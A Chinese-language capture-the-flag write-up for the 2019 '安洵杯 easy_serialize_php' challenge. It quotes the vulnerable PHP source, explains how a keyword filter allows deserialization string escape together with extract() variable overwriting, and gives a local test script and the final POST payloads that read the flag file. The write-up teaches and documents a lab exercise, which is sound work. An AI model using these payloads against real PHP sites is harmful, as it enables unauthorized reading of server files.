[安洵杯 2019]easy_serialize_php

进入界面然后

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
这就是个正则

if($_SESSION){
    unset($_SESSION);   销毁
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
可以直接覆盖通过POST

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));   img突破点，利用文件读取我们构造路径来读取文件内容
}

?f=phpinfo

可能是flag先不管

d0g3_f1ag.php

<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';


$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
先尝试能否正常序列化我们的目的是逃逸img

之前学过字符串逃逸但是又可能是不懂底层原理吧这道题卡了很久
首先反序列化

$b='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$c='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
var_dump(unserialize($c));
var_dump(unserialize($b));

就是遇到}这是结束的标志所以这里这段代码就可以看出}之后的内容直接被丢弃了，无伤大雅
本地环境是由字符替换为空，那么就会少字符
少了字符，但是反序列化是不会停止的，他会持续的往后推移吃掉所需要的字符

这是测试的exp

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION['user']='flagflagflagflagflagflag';
$_SESSION['function']='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';

$a= filter(serialize($_SESSION));
echo $a;
$b='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$c='a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
var_dump(unserialize($c));
var_dump(unserialize($b));

知道序列化格式的知道""包括的才是内容那么user此时少了24个字符就会往后面补吞24个字符

print(len('";s:8:"function";s:58:"a'));

欸那么为什么要加一个属性呢，这里回到最开始的测试，题目本身自带了user和function,而获取flag还要有img，所以有三个属性，才能正常反序列化，少了一个当然不行

传参也有讲究这样子才能识别

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

刚好20个不用重新构造

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}